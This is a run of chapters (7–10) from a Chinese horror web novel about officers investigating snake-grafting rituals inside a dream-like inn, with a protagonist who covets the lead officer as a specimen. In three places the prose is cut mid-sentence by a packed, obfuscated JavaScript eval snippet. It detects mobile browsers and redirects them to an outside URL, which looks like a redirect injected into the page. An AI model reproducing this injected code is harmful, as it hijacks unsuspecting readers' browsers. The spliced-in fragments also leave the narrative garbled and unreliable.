《可以把你做成标本吗》 7. 007 兴瞳吃了很久,抬起头,对上男人欲言又止地目光。 他解释道:“对不起,我很紧张,来之前很多天没吃过东西。” 顿了顿,他又补充:“快要饿死了。” 岳山原并没有对这个离奇的解释做出任何回应。 在兴瞳看来,他依旧面无表情,连眉梢都没动一下,而实际上,他已经开始努力回想自己究竟是不是那种不给爱人吃饭的虐待狂。 很快,兴瞳扫荡完桌子上的所有食物,看向岳山原:“我们去睡觉吗?” 岳山原:“嗯。” 上楼梯的时候,他虚虚扶着兴瞳的后腰,是一个现实中岳山原绝不会做的动作——这么近的距离,就算他正在梦游,就算前面走的是两百斤胖子,他也绝对来得及把人接住。 等等。 现实中? 岳山原脚步一顿,在兴瞳的余光范围内,他整个人的气场突然冷了下来,好像飞舞的铁粉穿过磁石,瞬间凝出一层密不透风的屏障。 兴瞳张了张嘴,把“长官”两个字咽回肚子里。 ——作为一个普通镇民,他不该比岳山原先清醒。 清醒之后,除了最开始的停顿,岳山原并没有任何多余动作,仍然护着兴瞳往楼上走。 从下车到现在,梦境中总共才过去一个多小时,梦境外可能刚把一只腿卸掉,这么短的时间内,岳山原依靠自己就能摆脱“域”的影响,且丝毫不见慌乱……男人不是污染物的证据越来越多了,但兴瞳拒绝发现。 他装作仍然迷失的样子,跟在岳山原身后进入房间,在干净的浴室里洗了个澡,换上睡衣,然后一头扎进松软的大床。 岳山原没有把他挪走,而是翻出一床毯子盖在他身上,自己走到沙发前,静坐了好一阵。 不多时,兴瞳听到玻璃磕碰的声音。 他慢慢睁开眼睛,发现男人不知道从哪翻出了一只酒杯,杯中有一个冰球和小半杯酒。他手里夹着烟,但没有点,几口就把杯中的烈酒喝完,然后又抖着手续了一杯。 “您又头疼了吗?” 兴瞳忘记了伪装,撑着被子爬起来,一瞬不瞬地看向男人。 岳山原撩了撩眼皮:“清醒了?你第一次进入域,可能会有强烈的异物感,不舒服,就躺着。” 兴瞳:“我很好,谢谢您。” “嗯。” 岳山原脸色太差,嘴唇白的像纸,手抖得好像要帕金森。 兴瞳很担心他打碎杯子把表层皮肤划伤,于是掀开被子,赤着脚走过去,朝男人的太阳穴伸出手。 ——他看起来只是一位无害的普通镇民,但岳山原从不对任何人掉以轻心,他钳住兴瞳的手腕,本来想把人往后挡一挡,然而,不知道为什么,却用了相反的力道。 兴瞳摔坐在他旁边。 两人保持着一个诡异的姿势。 过了很久,兴瞳说:“我……会按摩,帮您按一下吧。“ 岳山原:“你去休息。” “好吧,”兴瞳四下看了看,对标本的渴望战胜了对岳山原的恐惧,他拿走男人手中的玻璃杯,和酒瓶一起摆的远远的,“请您小心,千万不要受伤。” 岳山原似乎有些迷惑,他放开手里的烟,从水果托盘底下抽出两张信纸递给兴瞳:“你睡觉的时候,我找到了一点东西。” 兴瞳不太感兴趣。 但还是很给面子地接过来。 第一封:致亚当·戴维斯——你的朋友威廉。 “亲爱的亚当,很荣幸能作为你和布兰温的介绍人,73号公路酒馆是个好地方……噢……相信我,它真的太棒了……” “不过,自从那对年迈的夫妻(安妮的祖父母)遭遇不幸之后,他们的服务就出现了一些问题,这也难免,毕竟是最亲密的家人。有传闻说之前一直是老夫妇在主持仪式?” “不管怎么样,我只能说,他们的致死率现在稍微有一点高,布兰温还有点晕血。但是,我们都知道布兰温的情况,如果你们真的需要的话……就请大胆尝试吧……相信我,那种滋味,真的无与伦比……” “你坐过云霄飞车吗,我的朋友?问问布兰温,他会喜欢的。” “——爱你们的,威廉。” 兴瞳放下这页纸,心想那么他应该就是布兰温,岳山原就是亚当了。 他拿起第二封信。 **改造服务介绍信,73号公路酒店收。 “亲爱的安妮,见信好。” “很高兴听到酒馆重新运作的消息,这对所有人来说都十分重要。” “噢,我想介绍两位朋友去73号接受你们的服务,请放心,我们已经认识很多年,亚当和布兰温的感情非常好,只是近来遭遇了一些问题……相信我,他们非常需要73号的帮助。” “对了,这是他们委托我提供的信息:疼痛90/100、65/100,黑暗95/100、60/100……水浸92/100、55/100……短暂失明0/100………” “大概就是这些了,依我看,他们的身体素质都很好,能选择的款式非常多……请代我向你的父亲表达敬意。” “——73号的忠实拥护者,威廉。” 这些数字是什么意思? 兴瞳把第二张纸也放下,勉强分出一点点脑子来思考信的内容。 “他们两个人中,有一个不怕黑、不怕疼、也不怕水,可能已经被鬼怪侵蚀了。”好半天,兴瞳得出这样一个结论。 岳山原直接忽略他的分析:“祖父母遭遇不幸,旅馆重新运转后致死率上升,今晚先去查这两条线索。” “好的。” “我们一起行动。” “好的。” 此时仍是黄昏,星子稀疏,粉色和橙色的晚霞层层铺展,远不到“晚上”的程度。 兴瞳站在窗边看了很久,突然意识到自己从没见过这样的景色。 可是,他已经在枫糖小镇住了很多年了,不是吗? 他的心跳陡然加快了一瞬,然后状若平常地说:“长官,今天的黄昏很好看。” 过了好一会儿,他听到岳山原的声音。 男人说:“再过5个月,夏天就要来了。” 每一个晴朗的傍晚,蝉鸣的盛夏,大片大片的晚霞……那是岳山原记忆中的夏天,正如眼前。 嗯,夏天?夏天都会是这样吗?难道是因为前面还有秋天,所以他不记得了吗? 对了,秋天,秋天是什么样子的? 兴瞳的神色有些茫然。 他努力回忆,但只记得铺天盖地的大雪,萧瑟的长街,电线杆上黑色的乌鸦,和雾霭弥漫的屋顶…… 他的记忆里,只有寒冬,没有岳山原所说的“夏”,也没有前后交接的“春”和“秋”。 怎么会这样呢。 兴瞳盯着那颗斜坠的太阳,看着它一点一点从远山处落下,金色的阳光打在身上,却让他感到像皮肤表面爬满虫子一样难受。 啃噬。 细细密密的啃噬感…… 啃噬……啃噬……… “天快暗了。“岳山原突然说。 十几分钟过去,他依旧坐在原处,手里捏着根没有点燃的烟。 兴瞳慢吞吞地回过身。 视线扫过男人的刹那,他立刻忘记自己记忆中的冬、没见过的春、刚刚见过的夏和永远不会到来的秋。 他第一万次想象了一遍解剖男人的过程,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152821|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后挪动身体,小心翼翼地挡住一缕照在男人左肩的日光,让他彻底融入黑暗。 这样。 才是完美的。 *** 夜幕终于降临,岳山原熄灭屋内的灯,带着兴瞳向走廊深处行进。 梦境之外,顶楼似乎有一个杂物室,和其他供给旅客的房间不一样。岳山原记得他看到一个黑影,在安妮的脚边一闪而过。 他要找到那个地方,里面或许会有日记、信件、老照片——一切能告诉他这里曾经发生过什么的线索。 所谓“域”,一般都是现实中真正发生过的片段,因为某些原因在情景异化时保留下来,封存在某个物品、或者某个人的记忆当中。 像这段兴瞳和岳山原正在经历的“域”,大概率是借助“蔚蓝之梦”而保留。 在这里,他们所经历的一切,都有现实中的人曾经经历过。所有的一切,都没有经过情景的扭曲,是绝佳的线索收集地。通过比对“域”和情景的异同,就能知道情景主人的执念到底是什么,淡化了哪里,又强调了什么。 只可惜“域”虽然好用,但并不经常会被触发,岳山原走过数十个情景只碰到过2次,这是第3次。 2分钟后,他们检查完这一层,全都是给客人住的房间,没有特别的地方。 岳山原向黑洞洞的楼梯口扫了一眼:“我们上楼。“ 兴瞳点头:“我走您后面。” 岳山原没有反对。 这种年头比较久远的旅馆,角落里可能会有奇怪的东西,鼠、虫、客人带来的小猫小狗……冷不丁受到惊吓,心里素质差的人多少要掉几点SAN。 但没想到的是,兴瞳看起来非常冷静,一直默不作声地跟在自己身后,脚边偶有黑影攒动,也并不在意。 收藏家见惯了各路奇形鬼怪,三两只小动物,大概还不足够他分出一点眼神。 岳山原不管他害不害怕,凡是有奇怪的东西凑过来,他顺手就会解决掉,不让兴瞳有看见的机会。 能避免的麻烦,总归还是提前避免要好。 在碾死两只变异甲虫之后,他抬脚迈上最后一层台阶,突然意识到自己的头又已经不疼了。 他回过身。 黑暗中,他凝视着兴瞳。 这不是一个正常的人类,他的灵感在这样预警。 兴瞳不明所以,隔着半层楼梯和男人对视:“长官?” “没什么,”岳山原继续向前,“走吧。” …… 旅馆一共有五层,比梦境外多一层。 检查过其他房间后,他们在走廊尽头的“杂物室”停下,岳山原等了一会,没有掏出铁丝开锁,也没有直接把把手拧断,而是抬手敲了敲门。 “先生?您怎么到顶楼来了,这的房间还没打扫好,灰尘多,您……您先进来坐一会吧。”开门的是安妮,看到岳山原,她先是惊讶一瞬,然后飞快理了理碎发,把他们请进去。 “抱歉,这么晚打扰,” 岳山原没有到处打量室内陈设,他很有礼貌地在沙发上坐下,然后斟酌道,“我记得,明天才是仪式正式开始的日期。但……我们有点等不及了,可以现在就进行吗?” “先生,日期是占卜出来的,一年只有几次机会,实在改不了。”安妮很为难,目光掠过岳山原,停留在兴瞳身上。 青年很平静。 安妮身上有一种微弱的、吸引着他的味道,旅馆男主人身上也有这种味道。 是污染物,至少“杀戮”级别。 得不到岳山原,先来一只别的也可以。 兴瞳半低着头。 在岳山原看不到的角度,他勾了勾嘴角,然后装作不安的样子,往男人身边靠过去…… 8. 008 身体相碰的刹那,岳山原面色如常,不仅没有表现出异样,甚至立刻伸手护住兴瞳,对安妮说:“安妮小姐?我们的情况你是了解的,仪式可以放在明天举行,但我听说,仪式开始前会有一些准备工作,我们愿意现在就配合进行。” 威廉在信中说“我们都知道布兰温的情况”,却没有详细的描述,岳山原只能如此讳莫如深。 安妮叹了口气,又挽了挽碎发:“好吧,先生,我能理解您的急迫心情,但……您的爱人现在状态似乎不太好,还是白天进行更保险一些,晚上……容易出事。” 岳山原垂下眼:“布兰温……已经撑不过一个晚上了。” 安妮惊叫一声,捂住嘴。 “对不起,先生……“ 兴瞳趴在岳山原的肩膀上,一动也不动,他似乎不知道该说点什么,只能尽职尽责地扮演一个出于“某种原因”而饱受折磨的青年,把主导权交给身旁的男人。 岳山原:“来到73号是一个很难做出的决定,请你帮我们。” 安妮站起身:“好吧,先生,嫁接仪式开始前需要完成一些阈值测试,可以先从这里开始。” 岳山原面沉似水地点点头。 安妮:“测试内容包括疼痛、黑暗、水浸、失明、电击、温度……这些测试都是最简单的,您爱人的心理问题不会有影响,当然,为了保险起见——” “我先来,让布兰温准备一下。”岳山原脱掉西装外套,挽起衬衫袖口,倾身和兴瞳耳语了几句话,看样子是在安抚,安妮很有礼貌地移开视线。 “……域的时间不会太久,我需要知道她的祖父母是怎么回事,这样做,明白了吗?“岳山原说得很快,兴瞳微微睁大眼睛,感觉这个任务有点困难。 不过,岳山原没有给他拒绝的机会,米奇不在身边,“域”的时间很有限,值得一试。如果不行,他也有别的办法。 他们说话的功夫,安妮从抽屉里翻出一把钥匙,挪开墙边的书柜,露出一扇带玻璃窗的铁门,里面是一个墙壁毛胚还露在外面的小密室。 安妮把钥匙插进锁孔,扭头对岳山原说:“先生,跟我来,布兰温先生请在外间等。” 兴瞳看着自己的标本走密室。 冰冷的铁门缓缓闭合,安妮从角落里拖出一把木椅、一捆绳索和一个头盔式的奇怪仪器。她请岳山原在椅子上坐下,用绳索捆住手脚,最后戴上头盔仪器。 兴瞳在沙发上坐着一动不动,安妮回头看了看他,又给岳山原注射了一针管蓝色不明液体。 “是鸢尾花汁,”安妮解释道,“有一点点镇定效果。” 只是镇定,不是镇痛。而且第一项测试就要测疼痛阈值,不可能提前注射一支止痛效果的药剂。 “明天仪式上也会用到吗?”岳山原变得迷离了一些,但没有失去意识。 “会的,嫁接过程中需要镇痛止血,鸢尾花汁可以溶解几十种药粉,比清水效果更好。” 只是用来溶解。 岳山原“嗯”了一声。闭上眼之前,他和兴瞳对视了一瞬,目光扫过房间最里侧的办公桌,上面摆着很多东西,有记账本、台灯、相框、报纸、和成堆的申请资料…… 兴瞳感到十分不满。 针孔虽然小,但还是会留下伤口,只要有伤口,就会耽误他剥皮。 安妮:“开始了,别担心,布兰温先生,只是需要记录一些数据,所有感觉都是模拟出来的。” 说着,这个可爱的姑娘离开密室,紧紧关闭铁门,然后从办公桌上翻出一个本子,开始记录头盔仪器上显示的数字。 黑色的电线乱糟糟地汇聚在观察对象头顶,毛胚墙冰冷无光,男人被缚住手脚,垂首坐在唯一一把木椅之上,透过玻璃窗,兴瞳能清楚地看见他额头滚落的汗珠。 “疼痛:98/100。” 是现在吗? 兴瞳动了动手指。 “黑暗:99/100。” 摆在办公桌最上层的是一份报纸,看起来已经被翻动很多次了。 “水浸:98/100。” 安妮的表情有些惊讶。 这位先生的数据远比最初报上来的要好,不过这也没什么奇怪的,大部分人没有专业仪器,在家只是自己玩玩,提供信息时也只能根据经验。 “短暂失明:99/100。” 岳山原突然抽动了一下。 安妮吓了一跳,紧接着,男人开始更加剧烈地颤抖,裸/露在外的皮肤满是汗水,脖颈和手臂处的青筋几欲崩断。 “怎么回事,快停下!”兴瞳站起身,走到铁门前,目不转睛地盯着男人。 “我、我也不知道,但测试最好不要中断,第二次测会有误差……”安妮迟疑道。 “快停下!快进去看看他!”男人的呼吸越来越急促,兴瞳知道自己应该着急,但他不知道该怎么表达,只好用力拍了玻璃窗一巴掌。 “哗啦”一声,玻璃碎得到处都是,一些飞射到岳山原身上,扎出好几个血口。 兴瞳和安妮同时愣住了,连正准备自己弄出点伤口的岳山原都停顿了片刻。 “您别急,我、我进去看看,里面有血,您在外面等我……”安妮看了一眼青年的手,然后飞快抓起医药箱冲进密室,岳山原挣扎的厉害,安妮不敢解开他的束缚,只能就地开始处理。 “您千万别进来,地上都是碎玻璃,血很多。” 安妮快哭了,怎么会发生这样的事,外面那位的资料上写着“晕血“,希望他能听话一点,不要闯进来。 兴瞳无措地张了张嘴。 他竟然又伤到了岳山原,比起他制造的伤口,安妮注射时留下的针眼根本算不了什么。 带着无比灰暗的心情,兴瞳按计划走到办公桌前,开始逐一翻看那些东西。大概他翻看的声音有些过于响亮,密室中,岳山原不得不剧烈咳嗽来帮他遮掩。 兴瞳心情低落,没有注意到这些。 不久,安妮满手鲜血,慌慌张张地跑出来,兴瞳刚好翻完最后一个抽屉,两人对视的瞬间,他听到岳山原的声音。 “准备,域要结束了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152822|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 下一秒,他发觉自己离开了安妮的“杂物室”,回到梦境外旅馆顶楼的房间。 岳山原就在他身边沉睡着,迷糊中,兴瞳似乎看到两条墨黑的尾巴纠缠在一起,但却来不及想太多—— 他的拟态期又发作了。 明明上一次才刚结束。 室内灯光昏暗,兴瞳抖着手去解上衣的扣子,两分钟后,那圈该死的领口依然箍得很紧,他的脸颊和脖颈却已经开始泛起潮红,想刚采摘下来的水蜜桃,颜色浓郁透亮。 ……好热。 兴瞳仰面瘫倒,天花板变成一块一块彩虹色的碎片,炫彩的幻影飘来飘去、飘来飘去…… 过了一会儿,他挣扎着爬起来,探手去摸岳山原的鼻息,还好,还活着。呆愣片刻,他又上下摸了摸男人的其他地方,没有针孔和玻璃碎片的划伤,于是彻底放下心。 岳山原还没醒,兴瞳本能地不想让他发现自己的异状,一翻身滚下躺椅,顺着毛绒绒的地毯,爬向不远处的酒柜。 热…… 真的好热…… 兴瞳不会用这条尾巴,只能大汗淋漓地往前爬,茸茸的毛毯摩擦他的鳞片,他的肚皮,他撑在地面的手臂……房间里没有水,房间里竟然没有水,没关系,那里有冰、冰过的酒……… 快了……就快到了…… 他扶着酒柜直起身,贴紧冰凉的木质柜门,胡乱摸出一瓶冰桶里的酒,整瓶浇在自己身上。 唔。 他感到温度褪去了一点,恢复了一些力气,然而,几缕酒液顺着他微张的嘴唇滑进口腔,一股更加凶猛的燥热侵袭而来,兴瞳几乎在顷刻间失去意识。 不远处,岳山原似乎快要醒了,他的蛇尾和手指相继动了动,呼吸也开始加快。 兴瞳注意不到这些,只感觉有一个冰冰凉凉的东西横扫过来,正好搭在他身上。 凉的,很舒服。 兴瞳一翻身抱住那根东西,过了一会儿,他逐渐恢复神智,入眼一条浓黑柔韧的蛇尾巴,晶亮的鳞片倒影着他的面容。 是岳山原的尾巴。 兴瞳小心翼翼地挪开手,似乎获得了一些灵感,转身抱住自己的那条,可不知道为什么,他的尾巴不仅不凉,还像烧红的铁板一样滚烫。 他放弃了,再次贴住岳山原的尾巴尖,那些光滑的鳞片,比酒桶里的冰块还要凉,蛇骨柔韧,可以绕着他缠两圈。 兴瞳蹭了蹭脸颊,发出一声满足的喟/叹。 就在此时,房门突然被撞开,米奇神色凝重地闯进来,刚要说话,整个人就僵成一块石头。 组长……他们组长不省人事地躺在那,一只浑身湿透、酒味浓重的人蛇抱着他的尾巴,贴……贴来贴去。 那只人蛇。 是……兴瞳。 米奇瞬间明白发生了什么。 兴瞳,可怜的共感者,他终于还是沦陷了。 米奇神色不变,左手从门侧摸出一只棒球棍,右手拎着胖子的领口把人拽到身后,然后冷冷道:“关门,退远点。” 9. 009 米奇似乎想用棒球棍打爆他的脑袋。 兴瞳打了个哆嗦,抱着岳山原的尾巴在地上滚了两圈,然后爬到他椅子后面蜷缩起来。 尾巴快被就成麻花,岳山原终于悠悠转醒,一睁眼,看见米奇面目狰狞地举着一根棍子,立刻明白身后可能有东西。 他静默片刻,突然暴起,人都翻到椅子后面了,才发现缩在那里的是兴瞳。 “长官,“兴瞳急促地喘了两口气,眼尾通红,“我、不太舒服……” ……没有沦陷。 可惜他话没说完,眼前就是一花,整个人直直向前倒去。 岳山原用半截尾巴托住他,同时毫不费力地支撑起自己,一片寂静中,他回头看了米奇一眼。 “怎么回事?” …… 十分钟后。 兴瞳终于找理由解释清楚状况,裹着毛毯躺到床上,庆幸这次拟态期没有持续太久。 “域”之外,岳山原没有烟,只能两手空空地坐在那里,兴瞳看得出来,他有些烦躁,但却不知道为什么。 “别多想了,我们会尽快带你出去,你……尽量控制控制,不然很快就会真的沦陷……”米奇倒了一小口伏特加给他,“喝点。” 兴瞳摇摇头。 酒,很恐怖。 他不想再碰。 米奇见状也不逼他,继续道:“情景对你的影响,比对我们都深,那什么,要实在不行,你别看老大,别往他身边凑,等过了这几天,出去就好了。都是情景影响的嘛。” 兴瞳像个蚕蛹一样躺在那里,闻言也没什么反应。 岳山原说:“才一天,还没到那种程度。” 米奇摸摸下巴:“行吧,那可能……老大,你们的''域''是什么情况?” 兴瞳还在游魂,岳山原于是示意让米奇先讲。 米奇清清嗓子:“刚进入''域'',我们就被请到三楼房间,房间很香,鸢尾花香,那个小姑娘,安妮,给了我一盘巧克力朗姆蛋糕,说这是我夫人最喜欢的甜点。” 胖子涨红了脸,红过之后,又是一阵惨白。米奇说害怕可以不听,他立刻用纸团塞住耳朵,闭上眼睛睡觉去了。 米奇继续道:“白天人来人往太多,日暮之后,我们探查了二楼走廊。” 不错,如果没有威廉的两封来信,岳山原也想去二楼看看。梦境之外,所有人在仪式开始前都住在二楼,梦境中——也就是现实中——却都住在三楼。如果没有特别原因,不可能非要做这种改变。 米奇:“那层楼邪门的很,通道处还用铁链锁上了,所有房间门都敞着,里头各种血、骸骨、泥浆和溃烂的蛇皮,床垫、沙发、地毯、墙壁……全都被血啊肉啊糊了个透。” 一开始,米奇也没当回事。 他跟随岳山原走过那么多情景,什么恶心的东西没见过,带着胖子一路走,一路把那些尸块血水都翻了一遍。 直到胖子和他说:“长官,我的脑袋好像被吞掉了。” “我当时完全没觉得不对,”米奇脸色不大好看,”就回头看了一眼,说他脑袋还好好地支在脖子上呢,然后就继续往前走了。” “大概走了十几分钟的时间,他突然没声了,喘气声脚步声都没有,我又回头,看见他……姿势特别扭曲,僵在原地,眼睛不眨,眼珠子不动,两条胳膊死死贴着大腿,脊柱弯得不像人,却偏偏还能立得住。“ “就好像,真有什么东西把他吞了,只是我看不见而已。” 米奇喝了口水:“更邪门的来了,我跟他说,累就在原地等我,我先往前看看,一会儿回来找他。” 岳山原皱眉。 米奇赶快举起手:“老大你先别生气,我后面也被''吞''了。” 岳山原:“……” 努力睡着的胖子:“……” 米奇:“我又走了大概十几分钟,感觉有层膜,不对,有一层又滑又黏、又腥又臭、特别紧但又好像能伸缩的袋子套在我脑袋上,还不是一下套上的,是从额头,慢慢往下滑,滑到眉骨、滑到嘴、滑到下巴……一点一点把我吞进去。” “从鼻子开始,我就有点呼吸困难,胸腔附近逐渐缺氧,大腿处彻底失去意识。” 米奇慢慢回忆。 他此刻的表情好像一个变态,被未知生物一口吞了,临死前还要一丝不苟地记录体验。 他说:“失去意识的前一刻,我突然觉得不对,什么走廊能走30分钟还不到头?我就使劲往前看了一眼,看见两条怪模怪样、好像失败品的人蛇在地上爬,看见几根白蜡烛,一点火星……” 岳山原心道:祭品。 当时米奇严重缺氧,在怪物的肠子里,大概也没办法看得很分明。岳山原直觉那像是某种仪式,吞掉他们的东西,或许是…… 蛇。 米奇叹了口气:“然后就被弹出''域''了……老大,你们怎么样啊。” 岳山原摇摇头:“我们检查了三楼往上所有的房间,除了楼层数目不对,没有特别异常。” 他复述了威廉的两封信,以及后来在安妮的杂物间里发生的一切:“办公桌上的东西……” 兴瞳知道这是在召唤自己。 岳山原开始说话的时候,他就在房间里找了几张纸和一根铅笔,低头涂涂画画。 等岳山原说完,他把其中一张纸递到两人面前。 “三层抽屉。第一层是墨水、笔记本、回形针,第二层是一些没用过的白纸,第三层有一张碳笔涂的草稿,就是我画的这样,圆形的,周围有一些小三角。“ “桌面上有一张全家福,安妮、安妮的爸爸妈妈、安妮的祖父祖母。报纸关于车祸,账本记录了客人的姓名、改造的款式以及后续恢复情况……” 说这些话的时候,兴瞳没有看岳山原,也没有看米奇,他把目光放的很空,盯着一片什么都没有的墙壁,平静地,按照某一个顺序描述自己看到的景象。 他停顿了片刻,然后开始背诵报纸上的文字: ”枫糖花园街区发生重大交通事故,2死2伤:……年……月……日,枫糖花园街区302交叉路口,一辆小汽车突然失控,与正常行驶的邮件车相撞,小汽车油箱爆炸……邮车驾驶员多处骨折,小汽车驾驶员与其妻子当场死亡,后排女性乘客重伤,目前正在全力抢救。据悉,小汽车驾驶员患有心脏病………” “日期,不记得了。”兴瞳皱眉想了很久,又继续背诵账本的内容: “汤姆·哈雷克,2号,良好,五角星; 贝尔·梅,8号,良好; 刘甜甜,13号,不适应(恢复训练2个月仍然无法自由行动且拒绝摘除蛇尾),五角星; …… 萨默尔德,15号,正常(不喜欢款式准备半年后更换); 杰克·陶,2号,良好,五角星; 周里,1号,良好(别忘记拍照片当作宣传照); 拉里·海顿,21号,**(该死第一天就被玩断了,顾客要求免费续接) ……” 兴瞳一共背诵了93条记录。 他的眼神空洞,语速很快却毫无起伏。似乎对于他来说,那些内容只是一些没有价值的音节,唯一的意义,就是背出来,被岳山原听到。 米奇怀疑自己还在做梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152823|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,胖子目瞪口呆,岳山原来不及惊讶,在兴瞳说第2条的时候就接过纸笔,开始逐个记录。 略过人名,款式分布没有明显规律,恢复程度与款式不相关,五角星与恢复程度不相关、与款式选择相关。所有2号和13号,后面都标记着一颗五角星。 “像这样,红色的。”兴瞳用铅笔画了几下。 米奇举手:“还有个事。我们醒了以后,观察了半天,那大叔和他女儿一会就上来一趟,各个房间巡视,两个小时前开始抓人,抬了个铁担架,运下去好几只''人蛇''。款式我本来没注意,现在想想,确实只有2和13。” 2和13的原型是“萨吉古蛇”,蛇尾粗糙厚重,鳞片盘结倒刺横生,当时选的人不多,但也有就喜欢这种的。 岳山原皱眉,“萨吉古蛇”是最早出现在小镇的几只高等污染物之一,几十年前一个年轻的女护士在森林里被它吞噬,后来的“血吻细蛇”、“蛇沥虫”、“水生古蛇”、“梦魇古蛇”……都是它的衍生子嗣。 老板介绍的时候,岳山原并没有多想,以为只是用来取悦顾客的噱头。 2楼的人蛇骸骨、白蜡烛和火星……难道安妮和她父亲搬走2号和13号款式的人蛇,是为了通过祭祀仪式,喂养某只和萨吉有关的污染物? 那么为什么要喂养污染物。 发生了车祸; 祖父母当场死亡; 后排年轻女性重伤入院,抢救后续没有报道; 安妮身上看不到任何明显的体表伤疤……难道又是一次借助污染物的力量复活亲人的事件? 岳山原想起第一次接触安妮时看到的一闪而过的黑影,直觉有什么地方不太对劲。 他陷入自己的思绪,好半天抬起头,米奇已经拉着兴瞳到一边聊天去了。 “弟弟,你家在哪,工作了还是上学?” “……上学。” “哦?我看你记忆力这么好,还以为是……不说这些了,学的什么专业,毕业了准备工作吗。” 兴瞳很小声:“我不知道是什么专业,每周去一次学校,画一张素描。” 他说的是实话。 记不清多久了,他在枫糖大学的顶楼画室苏醒,手里拿着一根笔,笔尖抵着一张只完成了一半的素描。 那天气温很高,濡湿而闷热,积压的雷雨下,空气变得和凝胶一样厚重……年迈的老师让兴瞳完成那张画,当作这周的随堂练习,其他人都走了,只有他,只有他的画板,唰唰作响的铅笔摩擦声…… 兴瞳花了几个小时才完成画作。 他昏昏沉沉地离开学校,昏昏沉沉地回到“家”,第二天清晨,一只湿哒哒的章鱼趴在他的胸口,触角还在蠕动着,尖锐的倒刺划来划去。 他发现自己流了一点血,于是把章鱼做成了标本。 那是他最早的记忆。 一张素描,一只章鱼,光影昏暗的画室,诡异的家…… “害,这我知道,普利安教授对吗?他就住我家旁边,经常给我老爹画肖像……”米奇敲了敲棒球棍。 兴瞳:“是的,是普利安教授。” 米奇:“之后准备留在他的画室帮忙,还是靠卖画为生?” 兴瞳摇头。 米奇咧嘴一笑:“那你现在感觉怎么样,有没有特别想在地上爬行,特别热,或者特别想缠在某个人身上的感觉?” 兴瞳:“我……” 他想缠在岳山原身上,直接用尾巴绞碎他的喉咙。 米奇:“懂了。” 兴瞳不明白这个奇怪的人类在说些什么,他朝岳山原看了一眼,胡乱点点头。 10. 010 见兴瞳和米奇都不说话了,一直在旁边徘徊的胖子就道:“米奇长官,岳长官好像在写东西?” 他听说正常巡逻组每组都有四名成员,两名偏“思维”两名偏“力量”,思维寻路,力量清障。可是,米奇显然是力量型,岳山原……好像也是力量型,那么到底谁能想出办法带他们出去呢? 胖子感到害怕。 和很多男人一样,他平时比较关心“小镇安全”,私下里托朋友打听过各个巡逻组的“逸闻趣事”。岳山原的名声还可以,但和“D区巡逻组”放到一起就不怎么样了,据说这组的风格特别暴力,一共只有三个人,都是肌肉比脑子发达的类型。 他本来还不信,现在看来确实是这样的。 岳山原皱眉坐在那已经快半小时了,怎么一句话也不说呢? 不会是想不明白吧。 米奇叹了口气,拎着棒球凑到岳山原跟前:“老大。” 胖子赶快跟过去:“长官,你在写什么?” 岳山原把纸上的东西给他们看:“没什么,只是把已经有的线索和疑点写下来。” 在求生欲的驱使下,胖子飞快读懂了岳山原的鬼画符:“人蛇祭、祭祀古蛇……复活?那这么说,执念的源头应该就是旅馆老板,他是安妮的父亲,安妮在车祸中受伤无法救治,他就用了一些和蛇有关的办法,复活了自己的女儿。” 胖子越说越肯定:“感觉这个逻辑没问题,比''老板因为贪婪改造人蛇卖钱''有可能多了,我本来还以为是他贪财……” “你说的没错,”岳山原突然道,“不是因为贪婪,情景中有关人蛇嫁接的过程都被淡化了,这些都不是重点。” 那么,为什么要把原本的二楼隐藏起来?隐藏代表不想面对或者无关紧要,如果男主人真的利用污染物复活了女儿,复活的地点是旅馆二楼,那么那里肯定不是无关紧要、也不该是不想面对。 除非……还发生了别的什么。 米奇挠挠头:“会不会是因为他发誓以后一定会保护好女儿?不会再让她受伤,永远都不要再使用这种方法,所以就封起来了?” 胖子心想这也太不靠谱了,但他瞅着米奇满身狰狞的肌肉,根本不敢说。 他转而问岳山原:“那个……长官,反正不是安妮就是她爸爸,我们把这两个都弄死可以吗?您和米奇长官都这么厉害…” 岳山原否决了这个提议。 摧毁源头之后,情景会一点一点消散,一般需要1个多小时才能彻底离开。如果同时杀掉安妮和她父亲,里面至少有一个是错误选项,接下去1个小时的时间,情景会化为地狱,所有人、动物、昆虫,甚至走廊和楼梯,都会以消灭入侵者为第一目标。” 他和米奇能坚持下来,可被救的镇民不一定。再说档案馆也有规则,最好不要在救援行动中采取暴力方法,镇民死伤率太高。 岳山原想了想,又补充道:“''没有把握不要动手,尽量不要错杀'',这应该是你们上的第一节课?你提供一下联系方式,出去之后我安排人送你再参加一次培训。” 胖子傻眼了。 兴瞳立刻目视前方,后背的筋抻得直直的,生怕岳山原把他也抓去上课。 